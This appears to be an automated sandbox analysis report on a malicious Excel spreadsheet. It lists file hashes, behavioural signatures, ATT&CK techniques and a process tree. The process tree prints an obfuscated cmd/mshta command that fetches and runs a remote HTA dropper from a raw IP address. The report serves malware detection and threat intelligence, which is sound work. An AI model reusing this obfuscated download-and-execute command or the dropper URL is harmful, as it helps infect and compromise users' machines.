5326e2dc28341e5564a4da721940930d26c34d7ac6ab4e1cb79be1c4d9b4c705

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 16:46

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General

Target

5326e2dc28341e5564a4da721940930d26c34d7ac6ab4e1cb79be1c4d9b4c705.xls
Size

142KB
MD5

72ac6dc93a66e9849a9e6d305c16b0b7
SHA1

1233a7f2e82a215bf7cc452187dacd7113fafb41
SHA256

5326e2dc28341e5564a4da721940930d26c34d7ac6ab4e1cb79be1c4d9b4c705
SHA512

6cd69c3101515d833a26df86fc46291e71de6a49e6e59f4d1361bd99805ac7207341d02bffc33021cf62532171912592e0e757b7aa2c311066a9e3848036d2ea
SSDEEP

3072:+5+nBqm9k3hbdlylKsgqopeJBWhZFGkE+cMLxAAIMEvN8B/W6X1yxYovrepMUdQm:i+nBqm9k3hbdlylKsgqopeJBWhZFVE+g

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/ve/ve.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2680	1660	cmd.exe	28

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	2564	mshta.exe
5	2564	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1660	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1660	EXCEL.EXE
1660	EXCEL.EXE
1660	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1660 wrote to memory of 2680	1660	EXCEL.EXE	29
PID 1660 wrote to memory of 2680	1660	EXCEL.EXE	29
PID 1660 wrote to memory of 2680	1660	EXCEL.EXE	29
PID 1660 wrote to memory of 2680	1660	EXCEL.EXE	29
PID 2680 wrote to memory of 2564	2680	cmd.exe	31
PID 2680 wrote to memory of 2564	2680	cmd.exe	31
PID 2680 wrote to memory of 2564	2680	cmd.exe	31
PID 2680 wrote to memory of 2564	2680	cmd.exe	31

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\5326e2dc28341e5564a4da721940930d26c34d7ac6ab4e1cb79be1c4d9b4c705.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1660
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/185.7.214.7/ve/ve.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://185.7.214.7/ve/ve.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1660-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1660-1-0x0000000072B1D000-0x0000000072B28000-memory.dmp

Filesize
44KB

Download
memory/1660-2-0x0000000072B1D000-0x0000000072B28000-memory.dmp

Filesize
44KB

Download